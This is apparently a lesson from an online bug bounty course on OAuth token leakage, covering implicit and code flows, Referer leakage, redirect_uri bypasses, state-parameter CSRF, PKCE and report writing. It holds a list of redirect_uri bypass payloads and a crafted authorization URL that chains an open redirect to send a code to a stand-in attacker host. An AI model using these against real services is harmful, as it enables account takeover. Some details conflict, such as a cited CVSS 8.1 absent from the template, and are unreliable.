Bug Bounty Course -- Day 32 of 60
53%

OAuth Token Leakage Bug Bounty 2026 — Find, Exploit & Report Token Exposure | Bug Bounty Day 32 of 60

OAuth Token Leakage Bug Bounty 2026 — Find, Exploit & Report Token Exposure | Bug Bounty Day 32 of 60
✨ AI Summary
💰 BUG BOUNTY HUNTER
FREE

Part of the Bug Bounty 60-Day Course

Oauth Token Leakage – Day 32 of 60 · 53% complete

Whenever I assess an application that offers Google login, social sign-in, or API authorization, OAuth is one of the first areas I map. Why? Because a small trust mistake can have a big security impact. Maybe the server accepts an unexpected redirect URI. Maybe the application fails to connect an OAuth response to the login attempt that started it. Or maybe a token ends up somewhere it should never appear. Today, I’ll show you how I investigate these possibilities one at a time, what evidence I collect, and how I decide whether a behavior is a real vulnerability rather than just an unusual implementation.

🎯 What you’ll master in Day 32

Understand the OAuth 2.0 authorization code and implicit flows well enough to find the gaps
Identify tokens leaking in URLs, Referer headers, and server logs
Test redirect_uri validation, state parameter enforcement, and PKCE implementation
Know exactly when OAuth token leakage becomes account takeover
Build a PoC that proves token capture and write a paid-quality report

⏱ ~45–55 min read · 3 hands-on exercises · Burp Suite + PortSwigger Academy

Before you start you’ll want: a solid grasp of Burp Suite from Day 5 intercepting redirect chains, familiarity with the OAuth 2.0 concepts from Day 18 OAuth Basics (we’re building on that foundation today with the leakage-specific attack surface), and a free PortSwigger Web Security Academy account for the OAuth labs.

The two OAuth flows and where each leaks

When I begin an OAuth review, I first identify which flow the application uses. Two flows you’ll encounter in training and older applications are the authorization code flow and the implicit flow. The authorization code flow sends a short-lived authorization code back to the client, which then exchanges it for tokens. In a server-side application, that exchange can happen on the back end; in a browser-based public client, it may happen in the browser with PKCE. Either way, the access token should not be placed in the authorization redirect URL. The implicit flow is the older approach: the server redirects to the client with the access_token directly in the URL fragment. It was designed for single-page apps before PKCE existed. You may still find it in legacy systems, and its fragment-based token delivery deserves careful inspection.

Here’s how I think about the difference. With implicit flow, I focus on where the browser stores and exposes the token. With authorization code flow, I examine redirect URI matching, code binding, PKCE, and CSRF protection. A missing state value is not automatically exploitable—some clients use other binding mechanisms, including correctly validated OIDC nonce values or PKCE—but I always verify that the response belongs to the login attempt that initiated it.

How I map an OAuth assessment before testing

I don’t begin by changing random parameters. First, I map the normal login journey so I know which component is responsible for each decision. In a typical flow, the browser starts at the application, the application sends the browser to the authorization server, the user authenticates and grants permission, and the authorization server sends the browser back to the registered callback. The client then validates the response and obtains or uses the token. If I don’t understand that baseline, I can’t reliably tell whether a modified request has exposed a security flaw.

I also identify the client type. A confidential server-side client can authenticate to the token endpoint using a client secret or another approved method. A public client, such as a browser-only application or mobile app, cannot safely keep a static client secret. That’s one reason PKCE matters: it binds the authorization code to the client instance that initiated the flow. I compare the application’s behavior with the flow and client type it actually implements.

🔎 My OAuth reconnaissance checklist

Identify the application, authorization server, token endpoint, and callback endpoint.
Record client_id, response_type, scope, redirect_uri, and whether state is present.
Determine whether PKCE is used and note the code_challenge_method.
Identify whether the client is public, confidential, or an OpenID Connect relying party.
Complete one normal login with a test account and save the baseline request/response sequence.
Repeat only within programme scope; never collect real users’ credentials, codes, or tokens.

💡 My rule: I save one clean, successful OAuth flow before testing. That baseline becomes my comparison point. When a parameter changes, I can show exactly what changed and whether the application accepted or rejected it.

🧠 EXERCISE 1 — THINK LIKE A HACKER (10 MIN · NO TOOLS)

Before we touch Burp, I want you to reason through four examples. Don’t worry about memorizing answers; tell me what evidence you would need to prove each concern:

  1. An e-commerce site uses Google OAuth for login. The authorization URL contains response_type=token. What does this tell you about the flow, and what leakage risk does it immediately signal?
  2. The same site’s post-authorization redirect URL is: https://shop.example.com/callback?access_token=eyJhb...&expires_in=3600. The page has a “Share this product” button linking to an external social network. Could the token reach the external site through the Referer header? What browser policy would you check first?
  3. The redirect_uri in the authorization request is: redirect_uri=https%3A%2F%2Fshop.example.com%2Fcallback. You change it to: redirect_uri=https%3A%2F%2Fevil.com%2Fcallback. In a controlled lab, the server redirects to a domain you own with the code. What additional controls might prevent that code from being redeemed?
  4. The authorization request has no state parameter at all. What would you need to demonstrate, using two accounts you control, before calling this a login CSRF issue?
✅ What you just learned: each scenario suggests a different test. response_type=token tells me to inspect fragment handling; a token in a query string calls for a Referer-policy review; a changed redirect_uri calls for exact-match validation testing; and missing state calls for checking the client’s actual CSRF defenses.
📸 Write your answers for #day-32-oauth before continuing.


Tokens in URLs — the implicit flow exposure

When I spot response_type=token, I know to inspect the final redirect in the browser. The URL looks like this: https://app.example.com/callback#access_token=eyJhbGciOi...&token_type=bearer&expires_in=3600. Notice the #. Everything after it is a URL fragment. Browsers do not send that fragment in HTTP requests or Referer headers. That distinction matters because it changes which leakage paths are actually possible.

Here’s the important catch I teach students: JavaScript running on the callback page can read window.location.hash. That means an untrusted script executing in that page’s context could access a fragment-delivered token. I inspect the page’s scripts, browser behavior, and token cleanup, but I don’t report every third-party script as an automatic leak. I look for evidence of actual exposure. Also remember: the browser does not send fragments to the web server, so ordinary server access logs cannot capture them directly. A client-side logger or script could explicitly transmit the fragment, and that’s the behavior I’d need to prove.

BURP — FINDING TOKENS IN URL PARAMETERS AND FRAGMENTS
# In Burp Proxy history, use the search bar to find token-containing URLs
# Search → check “Request” and “Response” → search for:
access_token=
id_token=
token=
# Also check for implicit flow by looking at the authorization URL:
# response_type=token ← implicit flow — token in URL fragment
# response_type=code ← auth code flow — code in URL, then back-channel exchange
# response_type=code token ← hybrid — both
# Check the callback page response for third-party script loads
# Any <script src=”https://third-party.com/…”> on the callback page
# can read window.location.hash — that’s your leakage vector

Token exposure: what counts as a real finding?

One mistake I see beginners make is treating every appearance of access_token as proof of account takeover. It isn’t. I separate an indicator from an exploitable disclosure. A token-like string in a harmless example, a redacted debug message, or a value that never leaves the test environment is not enough. I want to establish what credential was exposed, who could obtain it, how long it remained valid, what permissions it carried, and whether it could actually be used.

For example, imagine my own test account completes a login and the callback URL contains a bearer token in its query string. I inspect the browser’s subsequent requests. If a request to an unrelated analytics service includes that callback URL in its Referer header, I have evidence that the URL was disclosed to that destination. I still need to determine whether the token was valid, whether the recipient could access it, and what scopes it grants. I redact the value immediately and never paste a live token into a public report.

🧠 EXAMPLE — INDICATOR VERSUS PROVEN IMPACT

Observation: Burp history contains a request URL with access_token=.

What I check next: Was this a real token or a placeholder? Was it sent in a query string or only present in a local fragment? Did another origin receive it? Was it valid at the time of testing? Which scopes were granted?

Weak conclusion: “The website leaks tokens and is vulnerable to account takeover.”

Stronger conclusion: “During an authorized test using my own account, the callback placed a bearer token in the query string. A subsequent request to the named third-party origin carried that URL in its Referer header. I confirmed the token’s validity and documented its granted test-account scope. The token value is redacted from this report.”

✅ What I want you to remember: prove the complete disclosure path. A token in a URL is a concern; a token reaching an unintended recipient is a demonstrated leak; account impact requires separate, controlled verification.

✅ Token exposure verification checklist

Classify the value: access token, ID token, authorization code, refresh token, or non-sensitive placeholder.
Identify where it appears: query string, fragment, request body, response body, browser storage, or application log.
Trace whether it crosses an origin boundary or is sent to a third-party service.
Check validity and expiry using only the test account and approved endpoint.
Record scopes and audience; do not assume every token grants full account access.
Redact the credential in screenshots, exports, notes, and the final report.

💡 My first OAuth checkpoint: look at the authorization URL’s response_type parameter. I inspect response_type before choosing my tests. token points me toward fragment handling. code points me toward authorization-code handling, redirect URI checks, PKCE, and response binding. It’s a quick way to avoid testing the wrong behavior.

The Referer header leakage attack

Now let’s look at a different leakage path: the Referer header. I always separate query strings from fragments when teaching this. A fragment is not included in Referer headers. But if application JavaScript copies a fragment token into a query string or another outbound request, the token can be exposed. My job is to trace the actual request, not assume the browser sends fragments automatically.

The easier case to investigate is a token placed directly in a query string. I load the callback page through Burp, inspect subsequent requests, and check whether any Referer actually includes the sensitive value. Modern browsers commonly default to strict-origin-when-cross-origin, which strips the path and query from cross-origin referrers. Same-origin requests and permissive policies can behave differently. That’s why I verify the observed headers before writing a finding.

TESTING FOR REFERER HEADER TOKEN LEAKAGE
# After OAuth completes, check Burp Proxy history for all requests
# made BY the callback page (not TO it)
# Filter: Proxy → HTTP history → search “Referer” in request headers
# Look for any request where Referer contains access_token=
# Common sources of outbound requests from callback pages:
– Google Analytics / GA4
– Facebook Pixel
– Segment.io
– Hotjar / FullStory / Amplitude
– CDN font/icon loads
– Error monitoring (Sentry, Datadog RUM)
# Confirm an actual token value was disclosed and assess its impact
# The Referrer-Policy header on the response controls this — check it:
Referrer-Policy: no-referrer ← safe
Referrer-Policy: no-referrer-when-downgrade ← may expose full URL to HTTPS destinations
Referrer-Policy: unsafe-url ← full URL always sent — bad if token in URL
(absent) ← browser default = send on same-origin, truncate cross-origin

A practical Referer investigation in Burp

Here is the sequence I use when I suspect a callback URL is being disclosed. I complete the OAuth flow with my own account, keep Burp Proxy history open, and identify the callback response. Then I inspect requests initiated by that page: scripts, images, fonts, analytics beacons, API calls, and navigation to external sites. For each cross-origin request, I inspect the Referer header and compare it with the callback URL.

The browser’s Referrer-Policy controls how much of the source URL is sent. A policy such as strict-origin-when-cross-origin normally sends only the origin on cross-origin requests, while same-origin requests can include more URL detail. A policy of no-referrer suppresses the header. I check the actual browser request rather than guessing from the response header alone. Browser defaults and policy behavior can vary by context, so the captured request is my evidence.

💡 Teaching point: a fragment such as #access_token=... is not automatically included in Referer headers. A query parameter such as ?access_token=... may be included depending on policy. Keep those two cases separate in your notes and report.

Redirect_uri manipulation

This is one of the OAuth checks I take most seriously, although the severity depends on whether a real exploit chain works. I start with the redirect URI registered for the client and ask whether the authorization server enforces the expected matching rules. When a user authorizes access, the server redirects to that URI with the authorization code or token. If a server accepts an unauthorized destination, a code or token could be delivered somewhere unintended. Whether that leads to account access depends on additional protections such as PKCE, client authentication, code binding, and token scope.

In a lab, I test several common validation mistakes. In vulnerable implementations, servers may check only that the redirect_uri starts with the registered domain, so https://legitimate.com.evil.com/callback passes. Some check for the domain as a substring anywhere in the URL, so https://evil.com/page?url=https://legitimate.com passes. Some accept any subdomain of the registered domain, so if you can register evil.legitimate.com or find a subdomain takeover, that may create another path to investigate. Some are more subtle — they validate the URI correctly but accept open redirects on the client, so https://legitimate.com/redirect?to=evil.com gets you to evil.com after the code lands at legitimate.com.

REDIRECT_URI TEST PAYLOAD LIST
# Base: registered redirect_uri = https://legitimate.com/callback
# Test each modification — does the server redirect to your domain?
# 1. Full replacement — does server accept any URI?
redirect_uri=https://evil.com/callback
# 2. Domain confusion — prefix match bypass
redirect_uri=https://legitimate.com.evil.com/callback
# 3. Path traversal from registered URI
redirect_uri=https://legitimate.com/callback/../../../evil
# 4. Subdomain of registered domain (requires subdomain takeover)
redirect_uri=https://evil.legitimate.com/callback
# 5. Fragment chaining — some parsers split on # before validation
redirect_uri=https://legitimate.com/callback#@evil.com
# 6. Parameter injection — open redirect chain
redirect_uri=https://legitimate.com/redirect?next=https://evil.com
# Success = the server redirects to your controlled domain with the code
# Check your Burp Collaborator or attacker server for the inbound request

Burp Suite Repeater demonstrating OAuth redirect URI manipulation and authorization code interception in a bug bounty test
OAuth redirect_uri validation testing in Burp Suite Repeater — Day 32 Bug Bounty Course.
⚠️ Use your own domain or Burp Collaborator, not evil.com. You need a domain you actually control to confirm the redirect lands. Burp Collaborator (Pro) is ideal because it logs inbound HTTP requests automatically. If you’re on Burp Community, run a simple python3 -m http.server 8080 on a machine with a public IP, or use a free service like webhook.site on authorised bug bounty platforms that allow it. Never use an uncontrolled public domain.

My redirect URI testing checklist

When I test redirect URI validation, I work methodically and change one element at a time. The expected behavior is strict matching against a pre-registered URI. I record whether the authorization server rejects a mismatch, normalizes it, or redirects somewhere unexpected. I do not treat a strange-looking accepted value as a vulnerability until I can demonstrate that the authorization response reaches an unintended destination.

📋 Redirect URI validation checks

Exact-match baseline: confirm the registered callback works and save the original request.
Host boundary: check whether a lookalike hostname is incorrectly accepted.
Scheme and port: verify unexpected schemes or ports are rejected when not registered.
Path matching: check whether an unregistered callback path is accepted.
Subdomain handling: determine whether arbitrary subdomains are accepted and who controls them.
Open redirect chaining: assess whether a legitimate callback forwards users to an untrusted destination.
Response destination: confirm where the browser actually lands and whether a code or token is present.
Redemption controls: separately assess PKCE, client authentication, and code-to-redirect-URI binding.

An open redirect on the application domain is a separate weakness. It becomes relevant to OAuth when the two behaviors can be chained and the authorization response is exposed as a result. If the code reaches a legitimate callback and the application then redirects elsewhere without carrying the code, that is not the same impact as code disclosure.

⚠️ Do not overstate a redirect finding. A redirect to an unexpected URL is not automatically account takeover. Document whether the authorization code or token followed the redirect, whether the code could be redeemed, and what PKCE or client authentication prevented.

State parameter — the OAuth CSRF

When students ask me why state matters, I start with the login session itself. The OAuth state parameter is a nonce — a random, unguessable value the client generates before the authorization request and validates after the redirect. Its purpose is to prevent CSRF attacks on the OAuth flow. If the state is missing or not validated, an attacker can force a victim to complete an OAuth authorization that connects the victim’s browser session to the attacker’s account. The classic impact: victim’s browsing data, purchases, or private information gets associated with the attacker’s account. Or, in the account-linking scenario, the attacker links a victim’s account to the attacker’s OAuth identity — which is an account takeover.

Here’s how I teach this test: capture a complete login flow with your own account, then compare the initiating request with the callback. Try removing or changing state in a controlled lab and observe what the client does. The authorization server is not generally responsible for requiring or validating a client’s state; the client must bind the response to its own initiated session. I also check whether another mechanism, such as a properly verified OIDC nonce or PKCE-based binding, provides the relevant protection. I only call it exploitable when I can demonstrate the resulting session confusion using accounts I control.

TESTING STATE PARAMETER ENFORCEMENT
# STEP 1: Intercept the authorization request (the GET to the OAuth server)
# Original: GET /authorize?client_id=…&state=abc123&redirect_uri=…&response_type=code
# Test A: remove state entirely
GET /authorize?client_id=…&redirect_uri=…&response_type=code
# The authorization server may issue a code without state; assess client-side binding
# Test B: replace state with a known fixed value
GET /authorize?client_id=…&state=FIXED123&redirect_uri=…&response_type=code
# The authorization server usually echoes state; inspect how the client validates it
# STEP 2: If server accepts, check the client-side callback handler
# Does the callback accept a code from a different state= value than was stored?
# If client accepts mismatched responses, assess whether another binding defense exists
# CSRF attack chain:
# 1. In an isolated lab, start a flow using test account A
# 2. Record the callback and state handling without exposing real credentials
# 3. Use test account B to check whether an unrelated flow is accepted
# 4. Document any proven session mix-up; do not assume automatic completion

How I distinguish missing state from exploitable login CSRF

The presence of a state parameter is a widely used way to bind an authorization response to the browser session that initiated it. But simply removing it from a request and seeing the authorization server issue a code does not prove a vulnerability. The authorization server may simply echo the value it receives; the client application is responsible for checking that the response matches the pending login transaction.

To demonstrate login CSRF safely, I use two accounts that I own in an isolated lab. I initiate a flow with one account, then test whether the callback can be attached to a different browser session or unrelated login attempt. I observe which identity the application ultimately associates with the browser. I also check for other binding controls, such as OIDC nonce validation and PKCE, rather than assuming a missing state parameter tells the whole story.

✅ State and response-binding checklist

Is a fresh, unpredictable state value generated for each login attempt?
Is the expected value stored in a session-bound way and checked on callback?
Does the client reject a missing, altered, reused, or unrelated state value?
Can a response from one test session be accepted in another test session?
If OpenID Connect is used, is the nonce checked against the ID token?
Does the application bind the authorization code to the initiating client and redirect URI?
Can I demonstrate session confusion using only accounts I control?


PKCE — what it fixes and what it doesn’t

When I explain PKCE—Proof Key for Code Exchange, pronounced ‘pixie’—I describe it as proof that the client redeeming an authorization code knows a secret generated when the flow began. The client generates a random code_verifier, hashes it to create a code_challenge, and sends the challenge with the authorization request. When exchanging the code for a token, the client sends the original code_verifier. The server verifies that hash(code_verifier) == code_challenge. In a correctly implemented flow, simply possessing an intercepted code should not be enough to redeem it without the matching verifier.

PKCE isn’t a replacement for strict redirect URI validation, and it doesn’t solve implicit-flow token exposure. But it does substantially reduce the risk of redeeming an intercepted authorization code—even when a redirect problem exists—because the attacker ordinarily lacks the verifier. I look for code_challenge_method=S256, then verify that the token endpoint rejects a missing or incorrect code_verifier. The plain method is weaker because the challenge equals the verifier; however, seeing plain alone doesn’t prove an attacker can obtain the verifier or redeem a code. I report the demonstrated impact, not just the parameter value.

⚡ EXERCISE 2 — BURP LAB (25 MIN)

I recommend practicing this in PortSwigger Web Security Academy rather than against real users. Here is how I guide students through the redirect URI and state exercises:

  1. Open the PortSwigger OAuth Lab: Authorization code flow with open redirect. Proxy through Burp. Intercept the authorization request and examine the redirect_uri parameter.
  2. Modify the redirect_uri to chain through an open redirect on the legitimate domain — find a /redirect?next= style endpoint on the target’s own domain and use it to redirect the code to your Burp Collaborator URL.
  3. In the lab, observe whether a code reaches your controlled endpoint. Check whether PKCE or client authentication prevents redemption; use only lab-issued credentials and tokens.
  4. Separately, try the CSRF via missing state parameter lab. Remove or alter state and test whether the client correctly rejects an unrelated callback; code issuance alone does not prove CSRF.
✅ What you just learned: open redirect chaining is the most underrated redirect_uri bypass. Servers often correctly validate that the redirect goes to their own domain — but fail to realize that an open redirect on that domain lets an attacker escape to any URL afterwards. The lab teaches you to find both the OAuth weakness and the open redirect that makes it exploitable.
📸 Screenshot of the lab redirect behavior with codes redacted for #day-32-oauth.

A simple PKCE walkthrough

I explain PKCE as a two-part proof. At the start of the flow, the client creates a high-entropy random code_verifier. It derives a code_challenge from that verifier and sends the challenge to the authorization endpoint. Later, when the client redeems the authorization code, it sends the original verifier to the token endpoint. The server derives the challenge again and compares it with the value stored for that authorization request.

For the recommended S256 method, the relationship is conceptually:

PKCE S256 — CONCEPTUAL FLOW
# Client creates a random verifier and keeps it private for this transaction
code_verifier = high_entropy_random_string
# Client derives the challenge using SHA-256 and base64url encoding
code_challenge = BASE64URL(SHA256(code_verifier))
# Authorization request carries the challenge, not the verifier
code_challenge_method=S256
# Token request carries the original verifier; server checks the match
code_verifier=the_original_random_value

When I validate this in a lab, I check both sides of the exchange. The authorization request should contain the challenge and method. The token exchange should fail if the verifier is missing or incorrect, and succeed only with the verifier associated with that code. I do not publish actual verifier values or authorization codes in a report.

OAuth versus OpenID Connect: don’t mix up the tokens

OAuth 2.0 is an authorization framework. It allows a client to obtain delegated access to a resource. OpenID Connect (OIDC) builds an authentication layer on top of OAuth 2.0 and commonly introduces an id_token that describes the authentication event. An access token is intended for a resource server; an ID token is intended for the client to validate the user’s authentication. They are not interchangeable.

When I see openid in the requested scope or an id_token in the response, I check whether the application validates the ID token’s signature, issuer, audience, expiry, and nonce where applicable. A JWT-shaped string is not automatically trustworthy just because it decodes successfully. Decoding reveals claims; it does not verify the signature.

💡 My quick rule: access token means “what can this client access at the resource server?” ID token means “what authentication statement is being presented to this client?” Identify the token type before describing impact.

📋 My complete OAuth testing checklist

Scope: confirm the exact in-scope application, identity provider, and permitted test accounts.
Baseline: capture a normal login from start to finish before changing parameters.
Flow: identify authorization code, implicit, or OIDC behavior from the actual request and response.
Redirect URI: verify strict registration matching and investigate any redirect chain.
State: confirm the callback is bound to the initiating browser session and rejects mismatched responses.
PKCE: check for S256 and confirm the token endpoint rejects an incorrect verifier.
Token handling: inspect URLs, browser storage, logs, analytics requests, and cross-origin disclosures.
OIDC: distinguish access tokens from ID tokens and validate relevant claims.
Impact: prove what an attacker could actually do; do not infer account takeover from a parameter anomaly.
Evidence: save sanitized requests, responses, timestamps, and reproducible steps; redact all secrets.
Report: explain the root cause, prerequisites, realistic impact, and actionable remediation.

🎯 EXERCISE 3 — BUILD YOUR OWN OAUTH TEST MATRIX

Use PortSwigger Academy or another explicitly authorized environment. Create a small table in your notes with four columns: test, expected secure behavior, observed behavior, and evidence. Add one row for redirect URI mismatch, one for state mismatch, one for an incorrect PKCE verifier, and one for token exposure. Your goal is not to force every test to succeed; your goal is to learn how a secure implementation should reject invalid input.

✅ What I expect from a good submission: a clear baseline, one controlled change per test, the exact response observed, and a careful explanation of what the result proves—and what it does not prove.
📸 Share your sanitized test matrix under #day-32-oauth. Never include live codes, tokens, client secrets, or personal data.


Writing the report that pays

When I help students write OAuth reports, I insist on one thing: make the evidence easy to follow. The technical finding — “redirect_uri accepts any domain” — sounds serious to security professionals but abstract to a programme’s triage team. The triager needs to understand what you observed, what protections were present, and what you could actually demonstrate. For redirect_uri manipulation, that chain is: attacker crafts URL → victim clicks → authorization server redirects to attacker’s server → attacker exchanges code for token → attacker makes API calls as victim. I document each verified step with sanitized screenshots and never claim token redemption or account takeover unless my controlled test proves it.

BUG BOUNTY REPORT TEMPLATE — OAUTH TOKEN LEAKAGE / REDIRECT_URI
Title: OAuth Redirect URI Validation Weakness — Verified Code Disclosure

Severity: To be assessed from demonstrated exploitability and affected scopes
Affected Endpoint: GET https://auth.target.com/oauth/authorize

Summary: The OAuth authorization server accepts a redirect_uri parameter that chains through an open redirect on the legitimate domain. In a controlled test, a redirect URI validation weakness allowed an authorization code to reach an unintended destination. Token redemption and account impact must be tested separately, taking PKCE and client authentication into account.

Steps to Reproduce:
1. Find the open redirect on the target domain: https://target.com/redirect?next=https://evil.com
2. Craft authorization URL: https://auth.target.com/oauth/authorize?client_id=CLIENT_ID&redirect_uri=https://target.com/redirect?next=https://attacker-server.com&response_type=code
3. Open the URL only with a test account you control in an authorized lab
4. Observe whether the lab redirects the test session to the controlled endpoint
5. Inbound request to attacker server contains: ?code=AUTH_CODE_HERE
6. In the lab, verify whether the token endpoint enforces PKCE, redirect URI binding, and client authentication
7. Record whether token redemption succeeded or failed and which authorized test-account APIs, if any, were accessible

Impact: Describe only the observed result: code disclosure, successful or blocked redemption, and any verified access to the test account. Do not assert account takeover without proof.

Remediation: Validate redirect_uri against an exact match allowlist — not prefix or substring matching. Treat open redirects on the application domain as a separate finding that weakens all OAuth integrations. Consider adding PKCE for all authorization code flows.

💡 Before I submit: I remove live credentials, include only the minimum screenshots needed to reproduce the issue, state whether PKCE blocked code redemption, and separate confirmed impact from potential impact. A concise, reproducible report is more useful than a dramatic severity claim.

What I want you to take away from Day 32

OAuth testing is not about collecting a long list of unusual parameters. It is about understanding the trust relationship between the browser, the client application, and the authorization server. I start with a normal flow, identify the client and response type, and then test one control at a time: redirect URI validation, state binding, PKCE, and token handling. Most importantly, I prove the consequence with my own test account before I describe the impact.

If you remember one thing from this lesson, remember this: an OAuth weakness becomes a strong bug bounty finding when you can show exactly how the trust boundary fails, who can exploit it, and what access that failure actually provides.

⚡ EXERCISE 3 — WRITE THE REPORT (15 MIN)

Convert your PortSwigger lab finding into a complete bug bounty report:

  1. Write the full steps to reproduce using the actual lab endpoint URLs and the exact code value you intercepted. If a report reviewer follows your steps exactly, they should reproduce the finding in under three minutes.
  2. Write the Impact section in two versions: one technical paragraph for a security engineer, and one plain-English paragraph for a product manager who doesn’t know what OAuth is. The second version is what gets the finding escalated.
  3. Rate the CVSS score. Use the CVSS calculator at first.org. Consider: is this network-accessible? Is user interaction required? What’s the confidentiality impact? Compare your score to the CVSS 8.1 in the template above — does the lab scenario match it, or would you rate it differently?
✅ What you just learned: the two-audience impact section is a habit that separates hunters who get reports acknowledged quickly from hunters who wait weeks for triage. The security engineer needs to understand the mechanism. The product manager or CISO needs to understand the consequence. Writing one version of each, every time, signals professionalism and gets your reports read with the attention they deserve.
📸 Share your plain-English impact paragraph in #day-32-oauth.

💰 Quick check: a target’s OAuth authorization URL contains response_type=code and no state parameter. You remove state from your test request and the server still issues a code. What is the most accurate description of the finding?




📋 Day 32 reference card

response_type=tokenImplicit flow — access token appears in URL fragment
response_type=codeAuth code flow — look for redirect_uri and state weaknesses
redirect_uri=attacker.comCore test — does server redirect code to unregistered domain?
state parameter absentMissing state = CSRF on OAuth flow possible
Referer: https://app.com/callback?access_token=…Token in URL leaks to any outbound request on the callback page
code_challenge_method=plainWeak PKCE — verifier travels in cleartext, defeating PKCE protection
open redirect + redirect_uriChain open redirect to bypass strict redirect_uri validation

✅ Mark Day 32 complete

You can map the OAuth attack surface on any target, test redirect_uri validation, state enforcement and token-in-URL leakage — and you know exactly how to chain an open redirect with an OAuth weakness for full code interception.

Tomorrow — Day 33: SSRF, and how one URL parameter can make a server call your internal AWS metadata endpoint.

❓ Frequently asked questions

What is OAuth token leakage?
OAuth token leakage is when a valid access token or authorization code ends up somewhere it shouldn’t — in a URL visible in browser history or server logs, in a Referer header sent to third-party analytics, or delivered to an attacker-controlled domain via redirect_uri manipulation. The token grants API access as the user, so anyone who captures it can impersonate them.
What is redirect_uri manipulation?
If the OAuth authorization server doesn’t strictly validate the redirect_uri parameter against a registered allowlist, an attacker can craft an authorization URL that redirects to their own domain after the user authorizes. The authorization code or token arrives at the attacker’s server, which can then exchange it or use it directly.
What is the OAuth state parameter CSRF attack?
The state parameter is a CSRF token for the OAuth flow. Without it, an attacker can force a victim’s browser to complete an OAuth authorization that links the victim’s session to the attacker’s account. The victim doesn’t get access to the attacker’s data, but the attacker may gain access to the victim’s data, or the victim’s account gets linked to the wrong identity.
Does PKCE completely secure the authorization code flow?
PKCE prevents authorization code interception attacks where an attacker intercepts the code in transit. It doesn’t prevent redirect_uri manipulation (if the code goes to the wrong URI, the legitimate client never uses the verifier), and it doesn’t prevent token-in-URL leakage from implicit flow. PKCE with S256 method is the right baseline, but it’s not a complete fix for all OAuth vulnerabilities.
How is OAuth token leakage different from CORS misconfiguration?
CORS misconfiguration allows an attacker’s page to read authenticated API responses by exploiting loose cross-origin headers. OAuth token leakage delivers the token itself to the attacker, who can then make API calls from anywhere — not just from the victim’s browser. OAuth token leakage typically leads to persistent account access, not just a single response read.
Where can I practice OAuth vulnerability testing safely?
PortSwigger Web Security Academy has a full OAuth lab series covering authorization code interception via open redirect, CSRF from missing state, and SSRF via redirect. All labs are authorised environments specifically built for this kind of testing. The exercises in this lesson are designed to run in those labs.
← Previous
Day 31: CORS Misconfiguration
Next →
Day 33: SSRF

📚 Further reading

ME
Mr Elite
Founder, SecurityElites · Bug Bounty Hunter
The redirect_uri finding I’m most proud of was an open redirect chain on a major consumer app. The OAuth server validated redirect_uri perfectly — it only accepted the legitimate domain. But the legitimate domain had an old marketing redirect endpoint that passed the entire destination URL as a query parameter without validation. I connected the two: OAuth to legitimate domain, then straight to my server via the open redirect, with the authorization code in tow. The triage team initially questioned the severity because “the redirect_uri validation was correct.” I had to explain the chain twice. Screenshots of both the OAuth redirect and the subsequent open redirect in the same Burp session closed the discussion. High bounty, same day. Two separate bugs, one attack chain — that’s the finding that required the most explanation but paid the most.

⚡
Join free to earn XP for reading this article Track your progress, build streaks and compete on the leaderboard.
Join Free
Lokesh N. Singh aka Mr Elite
Lokesh N. Singh aka Mr Elite
Founder, Securityelites · AI Red Team Educator
Founder of Securityelites and creator of the SE-ARTCP credential. Working penetration tester focused on AI red team, prompt injection research, and LLM security education.
About Lokesh ->

Leave a Comment

Your email address will not be published. Required fields are marked *